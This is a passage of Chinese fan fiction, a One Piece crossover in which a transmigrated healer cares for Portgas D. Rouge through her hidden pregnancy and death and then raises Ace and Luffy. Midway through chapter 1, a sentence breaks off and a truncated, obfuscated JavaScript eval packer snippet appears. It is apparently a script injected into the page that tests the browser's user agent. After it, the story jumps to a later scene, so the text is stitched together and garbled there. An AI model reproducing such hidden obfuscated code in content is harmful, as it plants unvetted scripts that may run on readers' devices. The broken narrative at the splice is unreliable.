《[海贼王]我在海贼世界当妈妈》 1. 第 1 章 (一) 邪剑仙的剑即将穿透雪见胸膛的前一秒，一个人挡在了她身前。 “月见——!” “噗呲——”利剑刺穿肌肉的声音响起，痛感后知后觉的袭来。 我躺在雪见怀里，她的眼泪像断了线的珠子似的一滴一滴落在我的脸上。 我抬手想去给她擦眼泪，就像小时候那样……却擦了她一脸的血，鲜红刺目。 我的意识渐渐昏沉，慢半拍地想，原来自己流了这么多的血吗？ “为什么？你为什么要挡过来！你是不是傻?！你不知道我跟你没有血缘关系，只是爷爷捡回来的野/种吗?！！” 我很想反驳她，但我已经没有力气了…… 哪有那么多为什么呀？ 身体下意识的就自己动了。 什么亲生的野生的乱七八糟的…… 我只知道，从小一步一步教会我走路的是你，给我买泥人风车的是你，偷偷给我带糖葫芦的也是你……你叫唐雪见，是我的姐姐，认定的姐姐。 体温慢慢消失，我太冷了，冷得我忍不住合上眼睛…… “月见——！” 少女悲痛的嚎啕大哭渐渐远去…… …… 巴苔里拉岛的岸边，一个穿着玉色绣折枝簇花环燕襦裙的少女趴在沙滩上，及腰的黑色长发湿漉漉的、粘着棕黄色的沙砾，身下晕染开一片血色。 海浪随着风一波波地袭来打在她身上，渐渐没过了她的全身，把她往海里卷去。 千钧一发之际，一双手拉住了她的胳膊，使劲儿将她拖回了岸边。 (二) 救了月见的女人名叫波特卡斯·D·露玖。 没错，就是那个波特卡斯·D·露玖。 不提月见醒来后得知此事的精神状态有多炸裂，更炸裂的是…… 露玖她怀孕了。 至于怀的这个孩子是谁……相信看过《海贼王》的小伙伴们都不会陌生。 月见上上辈子是医生，上辈子又出身医毒无双的唐家堡，即使露玖已经在努力遮掩了，却逃不过她的眼睛。 怀孕的准妈妈跟没怀孕的女性相比，她们在下意识的一些小动作上是骗不了人的。 比如，当她们被磕到碰到时，没怀孕的女性会优先护住自己的致命部位，但准妈妈则是会牢牢护住自己的腹部。 母亲的天性在很多时候是没有道理的。 但月见不打算立刻就把这件事挑明。 一方面，她怕会吓到露玖。毕竟两个人现在才认识了不到一周左右，实在说不上能有多少信任。 另一方面，咳咳，她自己也是怂的。邪剑仙的那一剑不是开玩笑的，月见胸口的贯穿伤距离心脏的位置区区不过一寸，她现在一点自理能力都没有，只能躺在床上静养。 别说保护露玖了，就怕挑明以后吓得露玖不再管她，那月见能直接噶掉。 但月见又觉得，就算挑明了，露玖应该也不会真丢下她不管……最开始看到月见重伤垂死的人不止她一个。 但只有她过来救人了。 倒也不能埋怨其他村民冷酷无情，毕竟当时月见伤的太重，血把身下的海水都染红了，不像是能救活的样子。 而且她的衣着跟当地人很不一样，精致的裁剪刺绣和一看就昂贵的布料……这些在质朴的村民们看来，对方的身份要么是贵族，要么是那种很有钱的大海贼。 无论是哪一种，都代表着天大的、甚至可能会引来杀身之祸的麻烦。 但露玖还是选择了救她，即使自己还隐藏着在孕育海贼王血脉的秘密。 越是相处就越能感受到，露玖看似温柔的性子里隐藏着的某种近乎执拗的主见。 不顾后果，只念本心。 通俗点来说就是……想救就救了，爱咋咋地！ 过去追动漫的时候，月见也会猜测，究竟是什么样的女性能让哥尔·D·罗杰那样的人开窍。 毕竟如果说草帽系的海贼王个性相近的话……那罗杰的个性应该跟路飞很相似吧? 以此类推，像路飞那种女娲不给他安情窍的家伙会喜欢上什么人? ……可能是肉成精了吧哈哈哈哈。 但显然，露玖可比肉有魅力多了，咳咳。 …… 计划赶不上变化。 月见准备跟露玖“装傻当不知道”的打算在三天后被迫终止……海军包围了巴苔里拉岛。 世界政府下令，调查自罗杰入狱后十个月内出生的婴儿以及怀有身孕的女人。 月见决定帮助露玖遮掩，于是跟她摊牌了。 “露玖，你怀孕了，而且是海贼王的遗腹子。” 在露玖警惕的目光中，月见对天发誓，“我只是想帮你，没有任何恶意。如果我出卖你跟这个孩子的话，天打雷劈不得好死！” 虽然露玖是第一次见这样的发誓方式，但这并不妨碍她能感受到月见誓言里的郑重。 (三) 她们的关系越来越亲密了。 月见一直试图纠正露玖喊她名字时的中文口语发音问题…… “跟我念，月见，yve jian。” 露玖：“jve jie ?” 月见：“是……yve jian 。” “……xve jie?” “yve jian ！” “xve xie！” “……” “算了……”月见抹了一把脸，双目发直，露玖的中文口语发音比关谷神奇的还要令人绝望。 她叹了口气，直接开摆了，“你想怎么叫就怎么叫吧，我的名字差不多就是月亮的意思。” “月亮?” 露玖歪头，披散在肩头的橘粉色发丝随着她的动作滑落到胸前，她垂眸思考了一会儿，然后笑着喊月见为：“奥西娅。” 月见愣了一下，好奇：“是什么意思?” 露玖的手轻轻抚摸过微微隆起的小腹，笑得很温柔，“Ortia，奥西娅，象征着月亮的守护和希望。” ……大海把你送到了我跟宝宝的身边，真是太好了，奥西娅。 …… 或许是早就预料到了海军会来岛上搜查，所以露玖自怀孕之初就不间断地服用一种可以延缓孩子发育的特殊药物，以达到不明显显怀跟推迟孩子出生的目的。 但这种药物无疑会给母体造成极大的伤害，月见发现后，第一次跟露玖起争执。 平日里，露玖作为孕妇，月见一直都想办法让她的心情保持愉快，很多事情都顺着她，这还是月见第一次爆发。 说是爆发也不准确，月见怎么可能跟孕妇吵，她撑死也就是一个人生闷气。 …… 夜深人静的时候，月见一个人坐在院子的台阶上，仰头看着漫天的星星。 “他之前说，如果是女孩子，就叫安，如果是男孩子，就叫艾斯。” 露玖坐到了她身边。 月见没说话，瞥了她一眼，起身去屋子里拿了一个坐垫出来递给她。 露玖接过来垫在屁股下面，朝她俏皮地眨眨眼睛：“不生气啦?” “……” 月见脸红：“我才没生气呢！” 露玖点头：“嗯，对对对，你没生气。” 月见：“……” 这下是真有点生气了。 双臂环住膝盖，月见把脸埋进去，声音有些失真，“……如果我没有受伤，如果我恢复的再快一点，如果我再强一点，如果我……” “奥西娅。” 露玖搂住对方的肩膀，把脸埋进她的颈窝，看上去像是两只彼此依偎着取暖的小兽。 “你明白的，不管你有没有恢复，不管你有多强，只有这样做才能让这个孩子获得最大的生存可能。” 不单单只是为了躲避在巴苔里拉岛上搜查的海军…… 这样做的最大目的在于通过推迟出生时间来隐瞒孩子的真实身份，让TA彻底摆脱掉被怀疑是海贼王血脉的可能。 可以像普通小孩子那样健健康康的长大，快快乐乐的去选择自己喜欢的事情，父辈的一切都与他无关。 皎洁的月光倾洒在她们身上，露玖的声音很温柔：“奥西娅，我知道你能明白的。” “……” 月见很想说自己不明白……对于月见来说，以前，她只是动漫里艾斯的伟大母亲，但现在，她只是波特卡斯·D·露玖。 她能明白，但她无法接受。 但她又知道露玖是个极其执拗的人，她改变不了对方的决定，所以只能一个人坐在外面伤心难过生闷气。 露玖拉过月见的手附在自己的肚子上，月见感觉到自己的掌心被轻轻踢了一下。 月见：！！！！ 露玖对上她不知所措的表情，“扑哧”一声笑了出来，额头抵住她的额头，亲昵地凑在一起蹭了蹭。 月见：“……” 月见脸红了。 (四) 为了隐藏日益明显的肚子，露玖做了很多努力，故意吃胖、穿不显身材的高腰裙、足不出户、装病…… 确定胸口的贯穿伤不会轻易崩裂后，月见开始每日练剑，迫切地想要获得能够保护她们的力量。 露玖起初很反对她这种不顾惜自己身体的行为，月见也不跟她争论，只是默默地盯着她。 露玖：“……” 露玖似乎在她的视线里领悟到了很多东西，比如…… 你也好意思说“不顾惜自己的身体”这种话吗？ 好啊，我不练剑，那你也把药断了吧。 世界级大笑话，波特卡斯·D·露玖居然让别人顾惜身体?她自己都做不到吧！我要大笑三声，哈！哈！！哈！！！ 最看不起那种自己做不到还硬要求别人去做到的人了！呵~切~呸！ 露玖：“……” 月见：盯jpg. 嗯，于是露玖退而求其次，每当月见练剑的时候，她就会坐在罗杰生前给她制作的那张摇椅上监督对方。 不许过度训练，我盯着你呢！ 训练结束后，露玖小课堂就要开课了！ 波特卡斯老师会为月见同学讲解她了解的有关于这个世界的所有事情。 月见是个很“偏科”的学生，像是海贼、海军、电话虫、名刀、伟大航路什么的，她比露玖还要清楚。 但她却对这个世界最基本的文字、普通人都知道的生活常识知之甚少。 这让露玖感到奇怪，不过她从来没有问过对方原因。 就像对方也从来没有问过她为什么不趁罗杰自首前换座岛屿生活……那样的话，就不用去吃那些伤害身体的药物了吧? 决定在一起之前，罗杰就明确表示过自己命不久矣，可她还是决定要跟他在一起，决定要孕育这个孩子。 奥西娅觉得她是个伟大的母亲，但露玖却反而觉得是对方的滤镜太厚……她自己是个什么样的人她自己心里清楚，她其实被罗杰宠的自私极了，不想被留下来当一个母亲，只想去找他，去找他，去找他。 …… 除了学习关于这个世界的知识，露玖也会跟月见讲很多关于罗杰的事情……她跟罗杰的相识相知相爱，罗杰给她讲过的那些冒险，罗杰的梦想，罗杰的坏习惯，罗杰爱吃的东西，罗杰不喜欢吃的东西，罗杰、罗杰、罗杰…… 露玖在说起罗杰的时候，眼睛里就像是装满了整个宇宙的星星。 所以月见也从来不问，为什么她不换一座岛屿生活? 月见已经明白了，露玖的决定不只是为了保护艾斯，也是为了成全她自己。 君埋泉下泥销骨，我寄人间雪满头。 那家伙，从来就是个执拗从心的人。 (五) 月见的伤口慢慢愈合，法力也逐渐修炼了回来。 她每天都会去山上采集药材，晒干后配成一些简易的药剂药膏送到镇子上去贩卖，赚取家用的同时趁机打探海军的动向。 这段时间，海军什么也没能搜查出来，世界政府对这个结果很不满意。 他们用军舰运来了很多医生，既然查不出孕妇的问题，那就将整座岛上的女性都进行地毯式排查。 露玖自然也不能不去。 唐家堡有两种药方，服下后都可以暂时掩盖女子的怀相，但一种对母体的损害极大，一种对胎儿的损害极大。 露玖选择了前者。 月见也没有阻止。 她们都清楚，从露玖选择吃那种延迟胎儿出生的药物开始，她就已经决定好了自己的命运，再吃另一种损害母体的药物也没什么所谓。 但怎么可能无所谓呢……月见的掌心被自己的指甲掐的鲜血淋漓。 在药物的遮掩下，露玖成功混过了这次排查。 就在两人松了一口气的时候，世界政府却下令杀死岛上所有可疑的怀孕母亲…… 这一天夜里，大雨磅礴，雨水把岛上的血色冲进了大海，掩盖了世界政府在巴苔里拉犯下的罪恶。 月见抬手擦掉露玖为压抑哭声而咬破唇瓣流下来的血迹，一遍又一遍地告诉她：“这不是你的错，不是你跟罗杰的错。” “在世界政府的眼里，生命只是他们用来掌控世界的工具，而非无价的存在。” “他们憎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我会……我会监督他多多吃饭，荤素合理搭配，然后陪他一起玩，教他武功，他一定可以长的高高壮壮的！” “他长大以后想从事什么职业都可以，厨师、医生、酒馆老板、甜品师……” 露玖扑哧笑出来，笑中带泪，“我觉得艾斯大概当不了甜品师。” 月见也跟着笑了，但露玖却说：“别哭呀，奥西娅，你不要哭呀……” “……” 月见脸上的笑容彻底挂不住了，哽咽着，“你这个任性的家伙！你真是太讨厌了……固执，不听人劝，亏我以前还觉得你是温柔坚韧挂的……” “斯密马赛……” 露玖感觉自己的呼吸越来越困难了，视线也变得越来越模糊，“……艾斯，听到奥西娅姨姨的话了吗……你要、健康快乐地长大，成为自己想要成为的人哦……” 【你叫什么名字?】 【唉?我吗？我叫露玖。】 【我是罗杰，我们的邂逅是命中注定的，露玖！】 【……扑哧~别闹了罗杰。】 【等我颠覆这个世界以后，我一定会回到这座岛屿的！】 “妈妈永远爱你，我的珍宝，我的艾斯。” 【我对你的约定算是实现了吗？】 【嗫哈哈哈哈哈！当然！】 【那这一次，把我也带去大海吧，罗杰。】 …… 月见把露玖葬在了可以看得见大海的高崖上，还把她养着的那盆红色扶桑花也移栽到了旁边。 海风温柔地拂过扶桑花红色的花瓣，带着她一起飞向了那片一直等待着她的蔚蓝大海。 (七) 葬礼结束后，月见便抱着艾斯跟随卡普回到了他的故乡——东海风车村。 这一年，月见十七岁。 海军英雄卡普的威名不是盖的，没有什么海贼吃饱了撑得嫌命长敢来这里耍威风。 因此，这里的民风也格外淳朴，大家对月见……不，应该说是奥西娅母子这种“海外移民”很是和善，更何况她们还是卡普中将带回来的人。 没错……是奥西娅她们母子。 在来风车村的路上，对于小艾斯未来的职业规划，月见和卡普展开了一场激烈的辩论。 月见三连拒：“不！不可能！！绝对不可能！！！” “即便您的初衷是为了保护艾斯，我也不会同意您把他培养成什么最强海军。” “卡普桑，我理解您的良苦用心。但不要忘了，艾斯的父母可都是或直接或间接地死于海军之手啊。” “……” 话都说到这个份上了，卡普只好妥协，毕竟对方是这孩子的亲小姨。 没错，亲小姨。 为了在艾斯抚养权的争夺战里获得绝对优势，月见张嘴就来，说自己叫波特卡斯·D·奥西娅，是波特卡斯·D·露玖失散多年的亲生妹妹。 最终，成功力压卡普这个男方托付人一头，获得了艾斯的直接抚养权。 对于她说自己是露玖失散多年的亲妹妹这件事，卡普丝毫没有怀疑，这种失散多年后再重逢的戏码在OP世界里特别常见。 “好吧，不当海军就不当吧……” 卡普也觉得累了，罗杰的这个妻妹跟他亲妹似的，性格跟那个混蛋一样顽固，“但是有一点，艾斯他绝对不能成为海贼，你应该是清楚这一点的吧?” 卡普的这句话并非威胁，而是真的在为艾斯的未来做打算。 因为，现在他还能隐瞒下艾斯的身世，但等艾斯长大了，如果他成为了海贼……就凭这孩子父亲的血脉保底，他怎么也不可能只是个籍籍无名的家伙。 而一旦他进入了海军总部和世界政府的视线，那他身为海贼王之子的身份就很有可能暴露……到时候的局面，就不是一、两个人可以控制的了。 月、奥西娅比谁都清楚这一点。 “……我清楚的。” 她抱着艾斯，看着小小的婴孩窝在自己怀里睡得正香的模样，面色也变得柔和下来。 她没有正面回答卡普的问题，只是道：“我会对外宣称艾斯是我的孩子。” 这个谎言并不会让人感到怀疑，毕竟艾斯和她一样都是一头黑发，遗传上完全说得过去，至于孩子的父亲是谁这种问题…… 纵观OP世界，又有几个人是父母双全的呢？ 单亲家庭在这里可太普通了。 卡普也觉得奥西娅的这个安排不错。 于是，在卡普的遮掩下，一对外乡来的母子悄无声息地落户在了风车村里。 2. 第 2 章 (一) 有艾斯正儿八经的亲小姨在，跟奥西娅打了一段时间的交道，确认她是个性格正经、对于什么局势啊道理啊都十分明白的家伙后，卡普很放心地拍拍屁股回了伟大航路。 虽然罗杰那个混蛋不靠谱，但他老婆和妻妹还是都很靠谱的么！ 卡普觉得像奥西娅那样靠谱的正经人，怎么也不会把艾斯教成一个海贼。 ……嗯，他是那么觉得的。 奥西娅也觉得自己很靠谱。 虽然罗杰生前给露玖和艾斯留了很多财宝，但她只拿了可以维持生活的部分，其余的都被匿名捐给了巴苔里拉岛的居民。 尽管孕妇屠杀事件是世界政府造的孽，但果然还是无法就这样当做什么都与我无关的样子拍拍屁股一走了之啊。 在这个统治阶级已经彻底腐烂发臭的海贼世界里，对对错错是是非非实在太难界定，只能求一个心安。 虽然把大多数财宝都捐了出去，但她和艾斯的生活水准并没有因此下降，无论是上辈子还是上上辈子，奥西娅都不缺吃饭的手艺。没多久，她就在风车村干起了老本行——医生。 刚来的时候，她和艾斯暂时借住在玛琪诺小姐家里，奥西娅当了一段时间的“游医”。攒够钱后，她买下了离玛琪诺酒馆不远处的一栋二层带阁楼的小楼，开了家中医医馆。 这栋二层小楼肯定经历了不少年月，有的地方已经盖上了一层厚厚的青苔，但虽说是老房子，却是由不知名的青色石板砌起来的，至今还异常坚固。 小楼的墙面外爬着大片大片的凌霄花，还有一个小后院，院子里种着一棵巨大的枇杷树。 是真的很巨大，奥西娅估摸着量了量，树围大概有三米，树高三十余米，从二楼的窗户探出头来，可以轻易够到它缀满金色枇杷果的枝桠。 奥西娅一开始还有些割裂，OP世界里居然也会有枇杷这么清纯不做作的水果吗？这里的果实不都是什么香蕉X西瓜的结合体、草莓X葡萄的结合体一类的吗？ 什么？你说娜美的橘子也很现实主义? 那没事了。 奥西娅给房子做了个大扫除、洒了驱逐虫鼠的消毒药物，又从村里的木匠那里订购了一批家具。 一周后，她带着小艾斯搬进了她们的新家，楼上作为她和艾斯的住处，楼下就用来开设医馆。 母子二人的生活逐步走上正轨，清晨的时候，她会拜托邻居马琪诺小姐帮自己照看一会儿艾斯，让她能腾出手来去山上采药。 作为报答，奥西娅用药材酿了类似于上上辈子竹叶青的一款保健药酒供给玛琪诺的酒馆售卖。 酒里还加了她家的枇杷，口感清醇甜美、风味独特，很受欢迎，帮对方创收不少。 除去艾斯现在太小，奥西娅不放心带他进山以外，一天里的大多数时间她都会陪在他身边。 奥西娅在枇杷树上选了根结实的枝干，拴上了小摇篮，小艾斯被她放在摇篮里面，她就坐在树下的小马扎上择草药，腾出手来的时候，轻轻一推摇篮，就会传来他咯咯咯的笑声。 对于这样的平淡生活，小艾斯目前接受良好，不哭不闹，一双明亮的黑眼睛乌溜乌溜的，特别招人稀罕。 院子里还有个茅草搭成的羊圈，里面养着艾斯的“乳母”羊咩咩“女士”。 当然，随着艾斯渐渐长大，羊咩咩女士逐渐下岗，比起羊奶，肉已经成为了三岁小艾斯最爱的食物。 “艾斯，来试一试我给你做的新衣服！” 话音刚落，艾斯就跟头小蛮牛似的撞进她怀里。 奥西娅暗自倒吸一口凉气，自家小崽子又壮实了！ 也得亏她是练家子，要是换成普通女性，迟早得被他撞出个好歹来……嗯，比如说玛琪诺。 她上次被小艾斯撞翻后，奥西娅给她贴了一个星期的膏药，对方尾巴骨才好全。 从此，奥西娅对小艾斯耳提面命，跟妈妈和卡普爷爷贴贴时除外，跟其他人贴贴的时候一定要注意控制力道。 尤其是老人，年纪大了骨质疏松，再给人家撞出个好歹来。 艾斯抠着鼻孔，一脸无所谓：“老妈，谁要跟那个臭老头贴贴啊。” “……” 奥西娅曲起手指轻弹他额头：“不许对卡普桑没礼貌，好好喊他爷爷……还有，不许学他抠鼻孔，将来是会被女孩子讨厌的！” “切，那种东西谁在乎啊?” “……你屁股又痒了是不是?” “我去老太婆那里拿今天的草药！” “给我好好喊人家达旦阿姨——！” “哈哈哈哈老妈你好啰嗦啊！” 奥西娅：“……” 她揉揉眉心，第N次怀疑自己的教育究竟是哪里出了问题? 以前软乎乎的小婴儿怎么就变成现在这副混世魔王的皮猴儿模样了? 长叹一口气，奥西娅将小艾斯刚才没试完的衣服板板正正叠好。 这是一身无袖的红色小唐装，上衣下裤，衣摆袖口处还绣了五只圆滚滚的小蝙蝠。 在风车村这个地方，大家基本都是买布来自己做衣服的，奥西娅自然也入乡随俗。 但比起海贼世界里的那些款式，她还是习惯给自己做上辈子的古风衣裙。 给艾斯做的衣服风格倒是很多变……有国风小套装、背带牛仔裤、西装小礼服，也有各种毛茸茸的连体动物套装。从小到大、满当当的装满了艾斯的衣柜箱子，都是奥西娅一件一件亲手缝制的，从不假手于人。 她摸着亲手绣在衣服上的“五福”笑了下，算了，艾斯皮归皮，但其实一直是个很懂事的孩子，不是吗？ 他在长相上应该是更随父亲一些，但内里的性格却像极了母亲……敏感而善良，固执且温柔，很矛盾，又足够可爱。 奥西娅是个新手妈妈，她其实有很多地方都做的不够好，反而是艾斯他足够包容……虽然喜欢调皮捣蛋，但是在发现奥西娅是真的生气了或难过了的时候，又会变得乖巧无比。 再最开始的时候，奥西娅会过分纠正艾斯身上的一些问题，但是在发现这孩子虽然会因为她的强制纠正而改变，但显然是被迫的时候……奥西娅的心跟被无数根针扎了一样。 她不禁反省自己——真的有必要对艾斯那么严苛吗？ 即便在原著漫画里，没有她的参与，艾斯不也磕磕绊绊着长大成为了一个很好很好的人吗? 但是！ 让艾斯随着自己的天性放开了发展是一回事儿！ 为人处世的基本礼貌这小兔崽子必须学会！！ 每次听到他跟人家说什么“我叫艾斯，你这个混蛋是谁?”“你小子是谁?”“你这个混帐是谁？”的时候，奥西娅就会成把成把的掉头发！ 至于其他的……艾斯能健健康康快快乐乐地长大就好，对吧，露玖? …… 收拾完艾斯的衣服，奥西娅又下到酒窖里去查看库存。 这几年，她酿的那些果酒、药酒也都打出了名声，以玛琪诺酒馆的名义给哥亚王国中心街的酒馆们提供了货源，两个人都赚了不少分红。 她还教风车村的老人们制作油纸伞，除了日常使用的素面油纸伞外，伞面上勾勒着山水花鸟图的那种则作为一种艺术品深受高镇和王宫贵族的喜爱，算是让风车村的老人们有一份额外的收入。 ……查看库存的动作一顿，奥西娅感应到院子里的迷踪阵法被人触动了。 迷踪阵法，顾名思义，如果没有奥西娅的许可，或者闯入者自己本身就是个破解阵法的高手，那就会迷失在阵法的范围内怎么也走不出来……堪称防火防盗的居家必备好阵法。 下一秒，一个大嗓门在院子里响起，“小丫头，是老夫来了！赶紧把你那个什么阵的东西解开，雾蒙蒙的什么都看不见！” 奥西娅弯了弯眉眼，双手结印解开了阵法。 早两年的时候，卡普桑还能凭借他那种野兽般的直觉和见闻色从迷踪阵法里大摇大摆地走出来……但随着奥西娅的勤学苦练，总算能做到困住卡普一段时间了。 虽然只有一段时间，但能干扰到卡普这种程度的战力……说实话，奥西娅还是有点小骄傲的。 她刚从酒窖里爬上来，怀里就被对方扔过来一个小布包，小布包软软的热热的，抱起来手感特别熟悉。 奥西娅掀开小布包一看，哦，原来是一个活的小婴孩啊，哈哈，难怪抱起来手感这么熟悉呢，跟艾斯小时候的手感一模一样嘛哈哈…… ……桥豆麻袋！ 活的…… ……小婴孩！！！！ “卡普桑！！！” 奥西娅手忙脚乱地把怀里的婴孩抱好，再好的脾气也忍不住爆出鲨鱼齿：“拜托您轻轻地递给我好吗？！这可是一个小宝宝啊！！要是伤到他怎么办？！！！” “哈?老夫的孙子怎么可能那么脆弱！” “卡普桑，拜托您不要动不动就挖鼻孔，艾斯他完全就是跟你学的啊！” “跟我学?艾斯他要跟老夫学着做海军了吗？” “……好好听人说话呀卡普桑！不要只听自己想听的部分好不好？” “说起来，艾斯他那些不听人讲话的坏习惯也完全就是跟您学啊，其实大人的很多行为就是小孩子的标杆，咱们得时刻注意自己的言行举……喂！卡普桑！！不要在别人讲话的时候呼呼大睡啊！！！” “啊?” 卡普的鼻涕泡炸开，一脸刚睡醒的懵逼，“你刚才有说话吗？哈哈哈老夫什么都没听到啊！” “……” 奥西娅叹气，心尤其的累，她低下往怀里一瞧，正对上怀中小婴孩大大的笑容……她心都要被他笑化了。 她十分清楚这孩子是谁，但还是装模作样地问了下，“卡普桑，这个孩子是?” “蒙奇·D·路飞，是老夫的孙子，就交给你了……哦，对了，他父亲叫蒙奇·D·龙。” “革命军首领的孩子啊……卡普桑，您可真是信任我呢。” “哈哈哈一只羊是赶，两只羊也是赶么！老夫看你把艾斯养的也很不错！” “……养小孩跟养羊完全不是一码事吧?” 奥西娅垂眸，用手指去逗小路飞，下一秒便被他软乎乎的小手握住，她忍不住莞尔一笑，“就跟艾斯一样，我会对外声称他是我的孩子，等他有自己的判断力以后，我会把他的身世告诉他。” “不用刻意告诉他，那种事情的话就顺其自然吧。” 奥西娅：? 您跟您儿子是有啥仇吗？ 算了，不管了，反正路飞已经到手了！ 你家孩子很好，现在是我的了！ …… 艾斯和达旦的两个手下背着药材回来的时候，卡普已经离开了，而老妈/奥西娅小姐怀里多了一个孩子！ “艾斯！” 奥西娅坐在枇杷树下的秋千上，怀里抱着个小婴孩，笑得眉眼弯弯，“快来看，这是弟弟哦！” 艾斯：！！！！ 他不过是到山上拿个药材的功夫，他老妈居然用这点时间给他搞出来一个弟弟！ 艾斯颠颠地跑到奥西娅身边，踮起脚尖、扒着她的腿、探头探脑地去瞅她怀里的新弟弟，新弟弟正冲着他傻兮兮的笑。 哇——这个弟弟好像不太聪明的样子……但跟自己和老妈一样都是黑头发，一看就是他们家的孩子！ 艾斯比了个大拇指：“老妈，你好强啊！” 奥西娅：? 所谓母子连心……她有预感，此时此刻这个臭小子的小脑袋瓜儿里想的绝对不是什么能让她高兴的东西！ (二) 自从有了弟弟，艾斯开始思考每小孩儿都思考过的哲学问题——我是怎么来的? “老妈，我跟路飞是怎么来的?” “……” 奥西娅放下手里的药碾：“啊，这个……” 可恶！小孩子不都是七、八岁才会问这种问题吗？为什么艾斯这么小就开始好奇了? 不过，艾斯他从小就是个好奇心很重的小孩，什么都能让他好奇一下，这一点大概是随了罗杰。 他学说话那会儿，嘴巴就没歇着过…… 妈妈，这个是什么？ 妈妈，那个是什么？ 妈妈，这个有什么用? 妈妈，那个有什么用? 小时候的艾斯真甜啊，还会糯糯地喊她妈妈……等他会跑会跳以后，就变成了…… 老妈，蚂蚁为什么要搬家? 老妈，燕子为什么会低飞? 老妈，叶子夏天是绿色的，怎么秋天就变成金色的了呢？ …… “老妈，我跟路飞是怎么来的?” 老妈、老妈、老妈…… 奥西娅把他的雀斑小脸蛋揉来揉去：“我说过多少遍了，你可以喊妈咪或者妈妈，不准喊老妈！” 我一点都！不！！老！！！ “唔(我)不要！” 艾斯被我揉的变成小鸡嘴，口齿不清但义正言辞：“弄(那)样子听起来拽拽(怪怪)的，转(感)觉会被别人笑话的！” “……” 谁敢笑话你这个混世小魔王啊?！ 举头三尺有神明啊！ 奥西娅发誓！！ 她最开始真的只是个温柔的好小姨好妈妈，是被现实逼得不得不往慈母加严父的混合体方向发展的！！！ Emmm……照现在这个趋势继续发展下去，大概率很快就是严父加严母的混合体了。 “绕(老)妈，与(你)还没照(告)诉唔(我)，喔(我)跟入(路)飞是怎么来的?” 奥西娅：“……” 可恶！怎么还没忘记啊?！ 继续使劲儿揉！揉到你忘记为止！！ 艾斯：? “呜呜呜呜！呜呜！” …… 夜里，奥西娅躺在床上翻来覆去地睡不着，一直在想今白天艾斯问的那个“生命与起源”的问题。 其实她很害怕在艾斯面前显露自己的无知或者无能为力。 原著动漫里，父亲两个字无疑是贯穿在艾斯生命里很重要的一部分。他因为罗杰的血脉而自我厌恶，又因为白胡子的爱愿意为之献出生命。 如果在OP世界里搞个“最受父亲影响排行榜”的话，那艾斯肯定榜上有名，没准儿还能金榜题名。 奥西娅扣着枕头上的布艺花边边，她只是很害怕……她很害怕这一世父亲角色的缺失仍旧会对艾斯产生某种负面影响，毕竟他有前科。 她很害怕她的孩子也会像动漫里那样，在刚找到自己存在的意义的时候就匆匆结束了一生。 所以，奥西娅她一直在努力当个混合体——慈母严父。 除了作为母亲外，她也尽量让自己能够去贴合艾斯生命里父亲的那个形象，比如严肃的、强大的、无所不知的、无所不能的…… 所以，她其实……一直很害怕会在艾斯面前显露出自己的无能。 但要怎么回答那个问题呢？ 现在就给三岁的小孩上生/理课，是不是太超前了一点……而且，其实只要教导他尊重女性，那关于这方面的问题，等他长大以后就自然而然的懂了……吧? …… 翌日清晨，艾斯找羊咩咩挤了一大碗羊奶送到厨房去让奥西娅煮沸杀菌，“老妈，你还没告诉我，我跟路飞是怎么来的！” “这个问题嘛……”奥西娅把煮沸的羊奶舀出来晾温，等小路飞醒来就可以直接喂了。 她蹲在艾斯面前跟他平视，从广袖的暗兜里拿出一本牛皮笔记本递给他，牛皮本封皮上写着一串大字，但艾斯只认识开头的单词，“Ace……” 那是自己的名字，老妈隔几天就要写一写的“艾斯成长日志”里全是这个单词。 奥西娅指着封皮上的单词一个一个地教他：“艾、斯、的、冒、险、日、志。” “艾斯的冒险日志……是跟老妈的‘艾斯成长日记’一样的东西吗？” “艾斯真聪明！”奥西娅把手摁在对方微卷的头发上使劲揉了揉。 “呐，不过我的笔记里记录的是宝贝艾斯成长的经历。你的这个本子呢，是用来记录属于你自己的冒险的。” “我的冒险?” “嗯，从某种意义上来说，冒险就是去寻找未知事情的答案！” “所以，关于你跟路飞是怎么来的这个问题，艾斯你要不要把它当成一次冒险，自己去找出这个答案呢？” 艾斯的眼睛亮晶晶的，装满了宇宙的小星星：“要！” “可以去村子里问一下那些有自己孩子的大人哦，他们一定可以回答这个问题的！” 耶~死道友不死贫道，危机转移大成功！ (三) 艾斯背着他的专属小竹篓，竹篓里放着“不太聪明”的弟弟路飞，兄弟二人踏上了他们人生中的第一次“冒险之旅”。 “村长老头，你儿子是怎么来的？” 在村口看报纸的村长放下手里的报纸：“哈?你已经到需要考虑这个问题的年纪了吗？” “啰嗦！赶紧告诉我！” “你妈妈一日三遍地告诉你要懂礼貌的吧，艾斯?” “哦。”艾斯立马鞠躬：“对不起！” “村长老头，现在可以回答我的问题了吗？” 村长：“……” 往好处想，经过奥西娅小姐一日三遍的耳提面命，这个小魔王的道歉速度最起码是越来越快了……嗯，虽然这孩子坚决不改是一回事儿吧。 “……你伯克利叔叔(村长的儿子)是我从垃圾桶里捡回来的。” (被·从垃圾桶里捡来的伯克利：?) “原来如此，原来我跟路飞是老妈从垃圾桶里捡……” “桥、桥豆麻袋啊！” 村长赶紧阻止，头上忍不住冒出教坏小孩的心虚冷汗，“那个……艾斯啊，要不你们再去找其他人问问吧?” 艾斯歪头想了一会儿，恍然大悟：“搜嘎！就是老妈常说的那个要……博采众长，对吧？” “对对对！你赶紧去博采众长吧！”村长从口袋里掏出几块牛奶糖丢给他，摆手示意他赶紧走。 大家，对不起，身为村长的我要把危机转嫁到你们身上了。 “那我先把你的答案记下来！”艾斯打开冒险日志想要写下来。 村长哽住：“……还要记下来啊?” 艾斯点点头，然后发现自己原来根本不会写字。 村长立刻露出一副‘原来你小子根本不会写字啊’的表情。 艾斯小脸涨红，把本子塞到对方手里：“烦死了！你帮我写啦村长老头！” 又想起老妈耳提面命的礼貌问题，亡羊补牢地加了一句：“……阿里嘎多！” 村长：“……” 其实也没必要非加上这个“阿里嘎多”不可。 唰唰两下帮艾斯写下答案，艾斯抢回笔记就跑，还大声喊出了那个让他在未来九年里都相当痛苦、悔不当初的决定：“我回家就让老妈教我写字！” 小竹篓里的路飞被颠得咯咯直笑。 …… “波比老太婆，你儿子是怎么来的?” 